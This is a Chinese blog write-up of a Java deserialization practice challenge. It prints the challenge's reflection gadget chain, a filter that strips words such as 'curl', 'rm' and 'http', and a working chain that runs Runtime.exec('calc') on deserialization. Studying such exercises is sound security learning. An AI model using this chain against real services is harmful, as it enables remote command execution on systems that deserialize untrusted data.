一道反序列化练习题

前言:看到了就记录了下。

练习地址:https://www.cnblogs.com/xyylll/p/15424335.html

package com.zpchcbd.exercise;

import java.io.*;
import java.lang.reflect.Method;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

public class ReflectionPlay implements Serializable {
    private static final long serialVersionUID = 814434800882325819L;

    private static void gl(ReflectionPlay.ReflectionObject obj) {
        // 这个我没太看懂,主要是执行命令,但是这里过滤的参数值都是一些http请求的玩意,可能作者靶场的意图是要通过该机器
        // 去请求某些地址吧
        if (obj != null && "exec".equals(obj.methodName) && obj.args.length != 0) {
            for(int i = 0; i < obj.args.length; ++i) {
                Object ag = obj.args[i];
                if (ag != null && ag instanceof String) {
                    String fh = replaceAll((String)ag, "rm", "XX");
                    fh = replaceAll(fh, "http", "XX");
                    fh = replaceAll(fh, "\\\\", "XX");
                    fh = replaceAll(fh, "//", "XX");
                    fh = replaceAll(fh, "\\.", "XX");
                    fh = replaceAll(fh, ">", "XX");
                    fh = replaceAll(fh, "curl", "XX");
                    obj.args[i] = fh;
                }
            }

        }
    }

    public static String replaceAll(String input, String regex, String replacement) {
        try {
            Pattern p = Pattern.compile(regex, 2);
            Matcher m = p.matcher(input);
            return m.replaceAll(replacement);
        } catch (Exception var5) {
            var5.printStackTrace();
            return input;
        }
    }

    public static class AttackObject implements Serializable {
        private static final long serialVersionUID = 4082925022846947297L;
        private ReflectionPlay.ReflectionChainsArry reflectionChainsArry;

        public AttackObject(ReflectionPlay.ReflectionChainsArry reflectionChainsArry) {
            this.reflectionChainsArry = reflectionChainsArry;
        }

        private void readObject(ObjectInputStream stream) throws Exception {
            this.reflectionChainsArry = (ReflectionPlay.ReflectionChainsArry)stream.readFields().get("reflectionChainsArry", (Object)null);
            this.reflectionChainsArry.execute(); // 第一步走这里
        }
    }

    public static class ReflectionChainsArry implements Serializable {
        private static final long serialVersionUID = 991019635353232843L;
        private ReflectionPlay.ReflectionChains[] reflectionChains;

        public ReflectionChainsArry(ReflectionPlay.ReflectionChains[] reflectionChains) {
            this.reflectionChains = reflectionChains; // new ReflectionChains(Runtime.class, reflectionObjects)
        }

        public Object execute() throws Exception { // 第二步走这里
            Object concurrentObject = null;
            ReflectionPlay.ReflectionChains[] var2 = this.reflectionChains;
            int var3 = var2.length;

            for(int var4 = 0; var4 < var3; ++var4) {
                // 循环执行this.reflectionChains中的transform
                // 这里的ReflectionChains不清楚为啥是数组,其中只要满足一个对象即可,也不需要是数组
                // 为什么只需要满足一个?因为这里循环调用的就是一个ReflectionChains对象中的reflectionChainObject数组对象
                ReflectionPlay.ReflectionChains reflectionChainObject = var2[var4];

                // 这里就开始已经进行链式调用了
                concurrentObject = reflectionChainObject.transform(concurrentObject);
            }

            return concurrentObject;
        }
    }

    public static class ReflectionChains implements Serializable {
        private static final long serialVersionUID = 7085587767543412902L;
        private Object firstObject;
        private ReflectionPlay.ReflectionObject[] reflectionObjects;

        public ReflectionChains(Object firstObject, ReflectionPlay.ReflectionObject[] reflectionObjects) {
            this.firstObject = firstObject;
            this.reflectionObjects = reflectionObjects;
        }

        public Object transform(Object InObj) throws Exception {
            // 链式调用操作,但是所以这里的firstObject是关键
            // 为什么是关键?因为后面的就是对当前这个this.firstObject对象进行操作
            // 比如要执行一个命令,那么firstObject就需要为一个runtime.class
            // 然后后面的链式调用则是最终从这个runtime.class中进行实例化最后执行命令
            // 其实就是一个经典的链式操作
            Object concurrentObject = this.firstObject;

            for(int i = 0; i < this.reflectionObjects.length; ++i) {
                if (this.reflectionObjects[i].dynarg == 1 && InObj != null) {
                    this.reflectionObjects[i].addArg(InObj);
                }

                ReflectionPlay.gl(this.reflectionObjects[i]);
                concurrentObject = this.reflectionObjects[i].transform(concurrentObject);
            }

            return concurrentObject;
        }
    }

    public static class ReflectionObject implements Serializable {
        private static final long serialVersionUID = -3677766270625763305L;
        private String methodName;
        private Class[] paramTypes;
        private Object[] args;
        private Object arg;
        public int dynarg = 0;

        public ReflectionObject(int dynarg, String methodName, Class[] paramTypes, Object[] args) {
            this.methodName = methodName;
            this.paramTypes = paramTypes;
            this.args = args;
            this.dynarg = dynarg;
        }

        public void addArg(Object add) {
            if (this.methodName.equals("newInstance")) {
                this.args = new Object[]{new Object[]{add}};
            } else {
                if (this.args.length > 0) {
                    this.args[0] = add;
                } else {
                    this.args = new Object[]{add};
                }

            }
        }

        public Object transform(Object input) throws Exception {
            try {
                Class inputClass = input.getClass();
                Method TargetMethod = inputClass.getMethod(this.methodName, this.paramTypes);
                TargetMethod.setAccessible(true);
                return TargetMethod.invoke(input, this.args);
            } catch (Exception var4) {
                if (this.args != null && this.args.length != 0) {
                    Object obj = this.args[0];
                    if (obj instanceof Object[]) {
                        throw new RuntimeException(((Object[])((Object[])obj))[0].toString());
                    } else {
                        throw new RuntimeException(obj.toString());
                    }
                } else {
                    throw var4;
                }
            }
        }
    }

    public static void main(String[] args) throws Exception {
        ReflectionObject[] reflectionObjects = new ReflectionObject[]{
                // public ReflectionObject(int dynarg, String methodName, Class[] paramTypes, Object[] args)
                new ReflectionObject(1, "getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new ReflectionObject(1, "invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new ReflectionObject(1, "exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        ReflectionChains[] reflectionChains = new ReflectionChains[]{
                new ReflectionChains(Runtime.class, reflectionObjects)
        };

        ReflectionChainsArry reflectionChainsArry = new ReflectionChainsArry(reflectionChains);
        AttackObject attackObject = new AttackObject(reflectionChainsArry);

        FileOutputStream fileOutputStream = new FileOutputStream("exercise.txt");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(attackObject);

        FileInputStream fileInputStream = new FileInputStream("exercise.txt");
        ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
        objectInputStream.readObject();
    }
}

这道题应该就是考察反序列化的链式调用和相关的关键词绕过,不过那个关键词绕过我这里应该用不上,可能作者靶场里面是需要通过请求某个地址来获得flag的。

        ReflectionObject[] reflectionObjects = new ReflectionObject[]{
                // public ReflectionObject(int dynarg, String methodName, Class[] paramTypes, Object[] args)
                new ReflectionObject(1, "getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new ReflectionObject(1, "invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new ReflectionObject(1, "exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        ReflectionChains[] reflectionChains = new ReflectionChains[]{
                new ReflectionChains(Runtime.class, reflectionObjects)
        };

        ReflectionChainsArry reflectionChainsArry = new ReflectionChainsArry(reflectionChains);
        AttackObject attackObject = new AttackObject(reflectionChainsArry);

posted @ 2021-11-14 16:32  zpchcbd  阅读(132)  评论(0)    收藏  举报